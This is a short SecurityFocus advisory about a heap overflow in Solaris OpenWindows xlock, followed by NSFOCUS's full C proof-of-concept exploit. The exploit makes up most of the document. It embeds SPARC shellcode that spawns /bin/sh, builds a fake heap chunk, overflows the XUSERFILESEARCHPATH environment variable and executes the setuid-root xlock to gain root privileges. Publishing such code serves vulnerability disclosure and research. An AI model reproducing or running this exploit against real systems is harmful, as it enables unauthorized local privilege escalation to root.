source: http://www.securityfocus.com/bid/3160/info

Xlock is a utility for locking X-windows displays. It is installed setuid root because it uses the user's password to authorize access to the display when it is locked.

The version of xlock that ships with Solaris as part of OpenWindows contains a heap overflow in it's handling of an environment variable.

Local attackers may be able to execute arbitrary code with effective privileges of xlock. 

/*
 *  sol_sparc_xlockex.c - Proof of Concept Code for xlock heap overflow bug.
 *  Copyright (c) 2001 - Nsfocus.com
 *
 *  Tested in Solaris 2.6/7/8 SPARC
 *
 *  DISCLAIMS:
 *  This  is a proof of concept code.  This code is for test purpose 
 *  only and should not be run against any host without permission from 
 *  the system administrator.
 * 
 *  NSFOCUS Security Team <security@nsfocus.com>
 *  http://www.nsfocus.com
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <sys/systeminfo.h>

#define RETLOC  0xffbee8c4  /* default "return address" location (Solaris 7) */
#define SP      0xffbefffc  /* default "bottom" stack address (Solaris 7/8) */

#define VULPROG "/usr/openwin/bin/xlock"

#define NOP     0xaa1d4015      /* "xor %l5, %l5, %l5" */


char            shellcode[] =           /* from scz's shellcode for SPARC */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\xaa\x1d\x40\x15"  
"\x81\xc3\xe0\x14\xaa\x1d\x40\x15\xaa\x1d\x40\x15\x90\x08\x3f\xff"
"\x82\x10\x20\x8d\x91\xd0\x20\x08\x90\x08\x3f\xff\x82\x10\x20\x17"
"\x91\xd0\x20\x08\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65"
"\x20\x80\x3a\x29\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34"
"\x92\x0b\x80\x0e\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\xc0\x2a\x20\x07\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f"
"\x82\x10\x20\x01\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";

/* get current stack point address */
long
get_sp(void)
{
        __asm__("mov %sp,%i0");
}

long 
get_shelladdr(long sp_addr, char **arg, char **env)
{
        long            retaddr;
        int             i;
        char            plat[256];
        char            pad = 0, pad1;
        int             env_len, arg_len, len;


        /* calculate the length of "VULPROG" + argv[] */
        for (i = 0, arg_len = 0; arg[i]!=NULL ; i++) {
                arg_len += strlen(arg[i]) + 1;
        }

        
        /* calculate the pad nummber . */
        pad = 3 - arg_len % 4;
        printf("shellcode address padding = %d\n", pad);

        memset(env[0], 'A', pad);
        env[0][pad] = '\0';

                /* get environ length */
        for (i = 0, env_len = 0; env[i]!=NULL; i++) {
                env_len += strlen(env[i]) + 1;
        }

        /* get platform info  */
        sysinfo(SI_PLATFORM, plat, 256);

        len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1;
        printf("stack arguments len = %#x(%d)\n", len, len);

        pad1 = len % 4;

        if(pad1 == 3 ) pad1 = 5;
        else pad1 = 4 - pad1;

        printf("the padding zeros number = %d\n\n", pad1);

        /* get the exact shellcode address */
        retaddr = sp_addr - pad1       /* the trailing zero number */
                          - strlen(VULPROG) - 1 
                          - strlen(plat) - 1 ;

        for(i--;i>0;i--) retaddr -= strlen(env[i]) + 1;                

        printf("Using RET address = 0x%x\n", retaddr);
        return retaddr;

} /* End of get_shelladdr */


int 
main(int argc, char **argv)
{
        char            buf[2048], fake_chunk[48];
        long            retaddr, sp_addr = SP;
        char           *arg[24], *env[24];
        char            padding[64];
        long            retloc = RETLOC;
        unsigned int   *ptr;
        char            ev1[]="XUSERFILESEARCHPATH=";
        long            ev1_len;
        long            overbuflen = 1024;

        if (argc > 1) /* you need adjust retloc offset in your system */
                retloc += atoi(argv[1]);

        arg[0] = VULPROG;
        arg[1] = NULL;

        bzero(buf, sizeof(buf));
        ev1_len = strlen(ev1);
        memcpy(buf, ev1, ev1_len);
        memset(buf + ev1_len, 'A', overbuflen + sizeof(fake_chunk));
        
        env[0] = padding;       /* put padding buffer in env */
        env[1] = shellcode;     /* put shellcode in env */
        env[2] = buf;           /* put overflow environ */    
        env[3] = NULL;          /* end of env */

        /* get stack "bottom" address */
        if(((unsigned char) (get_sp() >> 24)) == 0xef) { /* Solaris 2.6 */
          sp_addr = SP - 0x0fbf0000; 
          retloc -= 0x0fbf0000;
        }

        retaddr = get_shelladdr(sp_addr, arg, env);
        printf("Using retloc = 0x%x \n", retloc);
        
        memset(fake_chunk, '\xff', sizeof(fake_chunk));
        ptr = (unsigned int *) fake_chunk;
        *(ptr + 0) = 0xfffffff9;
        *(ptr + 2) = retaddr - 8;
        *(ptr + 8) = retloc - 8;

        memcpy(buf + ev1_len + overbuflen, fake_chunk, sizeof(fake_chunk));

        execve(VULPROG, arg, env);
        perror("execle");
}  /* End of main */